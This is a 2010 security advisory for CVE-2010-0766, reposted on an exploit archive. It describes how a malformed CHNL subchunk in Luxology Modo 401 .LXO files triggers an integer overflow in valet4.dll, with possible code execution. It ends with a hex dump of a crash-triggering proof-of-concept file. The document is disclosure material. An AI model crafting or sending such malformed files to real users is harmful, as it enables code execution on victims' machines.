Luxology Modo 401 .LXO Integer Overflow Vulnerability

2010-03-08T00:00:00
ID 1337DAY-ID-11212
Type zdt
Reporter Diego Juarez
Modified 2010-03-08T00:00:00

Description

Exploit for unknown platform in category remote exploits

                                        
                                            =====================================================
Luxology Modo 401 .LXO Integer Overflow Vulnerability
=====================================================

Vendors contacted: Luxology LLC
Release mode: User release

2. *Vulnerability Information*

Class: Failure to Sanitize Data into a Different Plane [CWE-74]
Impact: Code execution
Remotely Exploitable: Yes (client side)
Locally Exploitable: No
CVE Name: CVE-2010-0766

3. *Vulnerability Description*

Modo 401[2] is an advanced polygon, subdivision surface, modeling,
sculpting, 3D painting, animation and rendering package developed by
Luxology LLC [3].
The function Swap4 in valet4.dll takes a length and an input buffer
and proceeds to reverse DWORDs in the input buffer for proper
endianness. In the case of the CHNL subchunk in which passing an
invalid length to the Swap4 function would reverse every DWORD in the
stack, both reversing SEH pointer near the bottom of the stack AND
causing an exception
An attacker can take full control of the machine where Luxology Modo
401 is installed by sending a specially crafted .LXO file and enticing
the user to open it.

4. *Vulnerable packages*

. Luxology Modo 401 - Windows
. Older versions are probably affected too, but they were not checked.

5. *Vendor Information, Solutions and Workarounds*

The vendor did not provide fixes or workaround information.
To determine if a .LXO is suspicious you could parse the content of
the file searching for CHNL subchunk and validate its length.

6. *Credits*

This vulnerability was discovered and researched by Diego Juarez and
Nadia Rodriguez from Core Security Technologies during Bugweek 2009 [1].

7. *Technical Description / Proof of Concept Code*

The LXO file format is derived from the metaformat for binary files
described in "EA IFF 85 Standard for Interchange Format Files."[4]
Mainly consisting of chunks and subchunks.
While parsing subchunks, the function Swap4 in valet4.dll takes a
length and an input buffer and proceeds to reverse DWORDs in the input
buffer for proper endianness.
A vulnerability was observed in the case of the CHNL subchunk in which
passing an invalid length to the Swap4 function would reverse every
DWORD in the stack, both reversing SEH pointer near the bottom of the
stack AND causing an exception (ie: forcing a call to the now reversed
SEH pointer).
We belive this condition may be exploitable in some scenarios as long
as the address of function __except_handler3 in kernel32.dll has a
least significant byte < 0x7F.

Proof of concept: Here is a 464 bytes long LXO file demonstrating the
issue

/-----
00000000: 46 4F 52 4D-00 00 01 C4-4C 58 4F 42-54 41 47 53 FORM
?-LXOBTAGS
00000010: 00 00 00 08-44 65 66 61-75 6C 74 00-4C 41 59 52
?Default LAYR
00000020: 00 00 00 1A-00 00 00 00-00 00 00 00-00 00 00 00 ?
00000030: 00 00 00 00-6C 61 79 65-72 6E 61 6D-65 00 50 4E
layername PN
00000040: 54 53 00 00-00 60 BF 00-00 00 BF 00-00 00 BF 00 TS `+
+ +
00000050: 00 00 3F 00-00 00 BF 00-00 00 BF 00-00 00 3F 00 ? +
+ ?
00000060: 00 00 BF 00-00 00 3F 00-00 00 BF 00-00 00 BF 00 + ?
+ +
00000070: 00 00 3F 00-00 00 BF 00-00 00 3F 00-00 00 BF 00 ? +
? +
00000080: 00 00 3F 00-00 00 3F 00-00 00 BF 00-00 00 3F 00 ? ?
+ ?
00000090: 00 00 3F 00-00 00 3F 00-00 00 BF 00-00 00 3F 00 ? ?
+ ?
000000A0: 00 00 3F 00-00 00 42 42-4F 58 00 00-00 18 BF 00 ?
BBOX ?+
000000B0: 00 00 BF 00-00 00 BF 00-00 00 3F 00-00 00 3F 00 + +
? ?
000000C0: 00 00 3F 00-00 00 50 4F-4C 53 00 00-00 40 46 41 ?
POLS @FA
000000D0: 43 45 00 04-00 00 00 01-00 02 00 03-00 04 00 00 CE ? ? ? ? ?
000000E0: 00 04 00 05-00 01 00 04-00 01 00 05-00 06 00 02 ? ? ? ? ?
? ? ?
000000F0: 00 04 00 03-00 02 00 06-00 07 00 04-00 00 00 03 ? ? ? ?
? ?
00000100: 00 07 00 04-00 04 00 04-00 07 00 06-00 05 50 54 ? ? ?
? ?PT
00000110: 41 47 00 00-00 1C 53 55-52 46 00 00-00 00 00 01 AG
?SURF ?
00000120: 00 00 00 02-00 00 00 03-00 00 00 04-00 00 00 05 ? ?
? ?
00000130: 00 00 53 55-52 46 00 00-00 2A 44 65-66 61 75 6C SURF
*Defaul
00000140: 74 00 00 00-43 4F 4C 52-00 0E 3F 48-C8 8A 3F 48 t COLR
??H+??H
00000150: C8 8A 3F 48-C8 8A 00 00-44 49 46 46-00 06 3F 80
+??H+?
DIFF ???
00000160: 00 00 00 00-49 54 45 4D-00 00 00 64-70 6F 6C 79 ITEM
dpoly
00000170: 52 65 6E 64-65 72 00 06-00 00 00 00-00 03 4C 49 Render
? ?LI
00000180: 4E 4B 00 10-70 61 72 65-6E 74 00 00-00 00 00 03 NK
?parent ?
00000190: 00 00 00 00-43 48 4E 56-00 22 61 6D-62 43 6F 6C CHNV
"ambCol
000001A0: 6F 72 00 00-00 02 00 00-00 03 52 00-40 00 00 00 or ? ?R @
000001B0: 47 00 3F 80-00 00 42 00-3F 80 00 00-43 48 4E 4C G ?? B
?? CHNL
000001C0: 00 12 62 75-67 68 65 72-65 00 00 01-70 6E 78 21 ?bughere
?pnx!

- -----/




#  0day.today [2016-04-20]  #